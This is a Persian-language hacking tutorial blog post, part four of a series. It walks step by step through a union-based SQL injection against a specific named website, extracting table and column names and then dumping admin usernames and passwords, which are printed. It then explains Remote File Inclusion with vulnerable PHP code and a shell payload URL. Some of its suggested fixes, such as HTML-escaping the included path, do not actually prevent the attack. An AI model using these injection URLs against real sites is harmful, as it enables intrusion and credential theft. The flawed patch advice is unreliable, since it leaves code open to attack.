وب سایت بروز
جستجو کردن
Close this search box.
جستجو کردن
Close this search box.

آموزش هک* آموزش هک از مقدماتی تا پیشرفته ( قسمت چهارم)

آموزش هک* آموزش هک از مقدماتی تا پیشرفته ( قسمت چهارم)

hacker
berroz.com

 

در ادامه ی این آموزش ها میرسیم به دستور table_name که به ما لیست table های موجود در دیتابیس رو می ده 
خوب برای این کار ما میتونیم این دستور رو به صورت (group_concat(table_name استفاده کنیم
همونطور که قبلا هم توضیح دادم دستور group_concat اطلاعات درخواستی ما رو از تمام database ها میده پس ما در این دستور تمام تیبل ها رو از تمام دیتابیس های موجود در سایت درخواست کردیم.
خوب دوستان اگه یادتون باشه تارگتی که ما انتخاب کردیم دارای دیتابیس ورژن بالای 5 بود که این خبر خوبی برای ما بود 
به این دلیل که تمام اطلاعات مورد نیاز ما در یک database جدا به نام information_schema ذخیره شده 
پس تنها کاری که نیازه ما انجام بدیم اینه که با نوشتن یک دستور بر روی table آسیب پذیر این اطلاعات رو از information_schema بخوایم

خوب بریم ببینیم روی تارگتمون میتونیم پیاده کنیم یا نه!!!!

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables--

خوب تو دستور بالا من اول مثل تمامی مثال های قبل یه منفی پشت عدد ID گذاشتم تا تعداد table های ما از تعداد id ما کمتر نشه (یا از بازه خارج شه )
بعد اومدم تو table آسیب پذیر از دستور group_concat استفاده کردم که اطلاعات مورد نیازم رو از تمامی دیتابیس های موجود در سایت به طور کامل بهم بده
بعد توی group_concat گفتم که من نام تمامی تیبل هارو میخوام که اونم با دستور table_name درخواست میشه ….
و در آخر هم نشانی یا همون آدرس جایی رو که این اطلاعات ذحیره شده رو دادم به این صورت:
همون طور که حتم دارم همتون میدونید from یعنی از !!!!
information_schema هم که همون پایگاه موجود در دیتابیس هایی با ورژن بالای 5 است که کار مارو خیلی راحت کرده بود !!!!!!!!!!
table . هم که یه دایرکتوری تو information_schema هستش که اطلاعات تیبل ها اونجا میره و …..

پس ما اومدیم گفتیم اسم تیبل ها رو از تمامی دیتابیس های سایت که توی information_schema در قسمت table موجود هست به ما بده به همین راحتی 

اینم از table ها برین تمرین کنید

 

خوب بریم به ادامه ی آموزش هامون برسیم تا اونجا پیش رفتیم که با دستور table_name اسم تمام table ها رو کشیدیم بیرون به این صورت :

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables--

حالا باید table مورد نظرمون رو انتخاب کنید.

من لیست table های تارگتمون رو کپی میکنم اینجا تا روش بحث کنیم.
[CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVI LEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,category,country_master,eventlog,insurance_setup, link_master,phplist_admin,phplist_admin_attribute, phpli

خوب حالا ما از کجا بدونیم اطلاعاتی که ما میخوایم تو کدوم table موجوده؟؟

ما دنبال user و pass میگردیم پس به احتمال زیاد این اطلاعات تو یه table مربوط به ادمین وجود داره ….

اون table هایی که رنگشون رو بنفش کردم table های مربوط به information_schema هستش و در تمام ورژن های بالا ی 5 وجود داره و معمولا توی این table ها چیزه به درد بخوری برای ما وجود نداره 
بقیه ی table ها رو ما به ترتیب اولویت ( که از رو اسم و تجربه ی هکر بدست مییاد ) باید بگردیم…

اولین table ای که من نگاه میکنم و به احتمال زیاد اطلاعاتی که میخوام اونجاست phplist_admin تیبل هستش اگه اینجا نباشه میرم دنبال بقیه ی تیبل ها

بریم ببینیم چطوری و با چه دستوری باید اطلاعات تیبل phplist_admin رو بیرون بکشیم!!!

برای اینکه من اطلاعات رو از table مورد نظر خودم بکشم بیرون اولین کاری که انجام میدم اینه که column های موجود در تیبل مورد نظرم رو از information_schema درخواست میکنم 

به این صورت :

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=phplist_admin--

تو دستور بالا من با دستور column_name از پایگاه information_schema در قسمت columns خواستیم که تمام اطلاعات مربوط به تیبل phplist_admin رو به ما بده 

ولی این دستور کار نکرد !!!!! 

چرا کار نکرد ؟؟؟؟؟؟؟

خوب دلیلش اینه که بعضی وقت ها برای اینکه هکر ها کارشون سخت تر شه روی اطلاعات مهم یه سری کار های امنیتی انجام میدن 
مثلا تو این مورد اطلاعات اسم column های موجود رو ما باید به صورت چار (CHAR) درخواست کنیم 
char کلمات رو به کارکتر های موجود روی کیبورد تبدیل میکنه در اصل char همون مخفف charecter هستش……
برای اینکه بتونید از char راحت تر استفاده کنید پیشنهاد میکنم از افزونه ی HACKER BAR موجود در fire fox استفاده کنید این افزونه به شما کمک می کنه به راحتی هر کلمه ای رو به چار تبدیل کنید 

خوب حالا من میام phplist_admin رو به چار تبدیل میکنم که میشه :

CHAR(112, 104, 112, 108, 105, 115, 116, 95, 97, 100, 109, 105, 110)

حالا اینو به جای اسم table خودم میزارم و دوباره دستور رو اجرا میکنم…..

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=CHAR(112, 104, 112, 108, 105, 115, 116, 95, 97, 100, 109, 105, 110)--

خوب همونطور که میبینید ما تونستیم column های موجود در table ادمین رو ببینیم و همونطور که میبینید اطلاعات مورد نیاز ما هم همینجاست!!!!!!!!!!!!!!!!

توی آموزش بعدی نحوه ی بدست آوردن این اطلاعات رو بهتون نشون میدم

 

امروز یه آموزش خیلی راحت براتون دارم….

اگه یادتون بیاد تا اونجا پیشرفتیم که تونستیم لیست column های موجود در table آدمین رو کش بریم

که اینا بودن “id,loginname,namelc,email,created,modified,modifi edby,password,passwordchanged,superuser,disabled”

خوب کار ما از این راحت تر نمیشد!!!

الان تنها کاری که لازمه انجام بدیم اینه که اطلاعاتی که از توی این لیست ها لازم داریم رو درخواست کنیم

برای این کار از دستوری به شکل زیر استفاده میکنیم.

کد:
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(loginname,char(58),password),3,4,5,6,7,8,9,10,11,12,13 from phplist_admin--

اگر دقیق به این دستور نگاه کنید میبینید که تفاوت چندانی با دستورات قبلی ما نداره و تنها کاری که من انجام دادم این بود که به دیتابیس سایت گفتم اطلاعات موجود در Loginname و password رو که توی تیبل phplist_admin هستش به من نشون بده. با دستور group_concat هم که آشنا هستید…..
تنها نکته ای که میشه اینجا اشاره کرد (char (58 هستش که دلم میخواد خودتون برین بفهمید چیه .

هرکی نفهمید پ.خ کنه تا کامل براش توضیح بدم.

دوستان ما با استفاده از باگ sql تونستیم به دیتابیس سایت نفوذ کنیم و یوزر و پسورد رو بکشیم بیرون :
“admin:coshuk,listadminassword,listadmin2assword,listadmin3assword”

 

باگ RFI

باگ حساس و خطرناک RFI رسیده. پس ابتدا این باگ رو برای شما تشریح می کنم سپس راههای مقابله با آن را بررسی می کنیم./

باگ RFI که مخفف Remote File Inclution است عموما بر اثر انتخاب و نمایش صفحه به متد GET رخ می دهد!
این نوع حملات که به حملات راحت نیز معروف هستند زمانی رخ می دهند که یکی از چهار تابع زیر در کد بدون کنترل و با استفاده از متد GET (گرفتن ورودی و صفحه مورد نظر از طریق url) بکار رفته باشد:

کد:
include
include_once
require
require_once

کار این توابع چیست؟
این توابع صفحات و کدهای رو به برنامه ما (صفحه ما) اضافه می کنند. مثلا فرض کنید که برای اتصال به بانک اطلاعاتی نیاز به دانستن نام کاربری و رمز عبور دیتابیس است. حال فرض کنید ما در طول برنامه بخواهیم 20 بار با دیتابیس ارتباط برقرار کنیم. بجای نوشتن 20 بار نام کاربری و رمز عبور یکبار آن را در یک فایل جدا وارد کرده و یکبار در اول برنامه این فایل را درخواست می کنیم بوسیله 4 تابع بالا.

در بعضی مواقع نیاز داریم که بصورت پویا صفحات مورد نظر ما درخواست و به برنامه اصلی ما ملحق شوند. مثلا هنگامی که بخواهیم تعداد صفحات زیادی را به برنامه ملحق کنیم مانند صفحات پروفایل هر شخص که باید در یک صفحه خاص نمایش داده شود.

حال برای اینکار یکی از این روش ها اینست که صفحات پروفایل را به نام خود کاربر ذخیره شود و با استفاده از متد GET همان نام درخواست شود.

کد PHP:
<?php
$page=$_GET['page'];
include($page);
?>

اما اگر کاربر شیطون ما بیاد و یک مسیر دلخواه رو به آدرس مرورگر خودش مثلا آدرس یک شل بده اونوقت کنترل کامل وب سایت و یا حتی سرور را در اختیار خود گرفته است!!!

کد:
http://example.com/index.php?page=[shell]

پس آنکه با چکونگی بوجود آمدن این باگ آشنا شدید نوبت به رفع این مشکل امنیتی رسیده./

برای این کار راههای زیر را به شما پیشنهاد میکنم هرچند شما خودتون می توانید با سیاست های منطقی از بروز این گونه باگ ها جلوگیری کنید:

1- اولین روشی که برای جلوگیری از این حملات به چشم می خورد غیرفعال کردن کد برای باز کردن فایل از روی سرور دیگر. برای این کار باید فایل php.ini را ویرایش نمایید:

کد:
allow_url_fopen = off

هر چند این کد می تواند از حملات جلوگیری کند اما قابل دور زدن است! مثلا اگر شل برروی همان سرور باشد براحتی می توان آنرا برروی این هاست هم انتقال داد! و موارد دیگر که دوستان خوب به آن واقفند 

2- با استفاده از کد زیر می توانید به نوعی این باگ را پچ کنید:

کد PHP:
defined("_VALID_MOS") or die ("the rfi bug patched!!");

این روش اجازه باز کردن فایل رو نمی ده ولی بازهم قابل اعتماد نیست!

3- در این روش ما با استفاده از یک تابع بر روی ورودی فیلتر های مناسب را اعمال کرده و یک کد شسته رفته تحویل سرور برای پردازش می دهیم:

کد PHP:
<a href=index.php?page=file1.php>Files</a>
<?php
$page = cleanAll($_GET[page]);
include($page);
?>

و اما تابع برای پردازش:

کد PHP:
<?php
function cleanAll($input) {
$input = strip_tags($input);
$input = htmlspecialchars($input);
return($input);
}
?>

 !رو یاد بگیرین اینجوری بهتر هم هست بعد از این وارد آموزش های سرور هکینگ و کلاینت هکینگ می شیم    Acunetix  بهتره آموزش کار با نرم افزار 

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *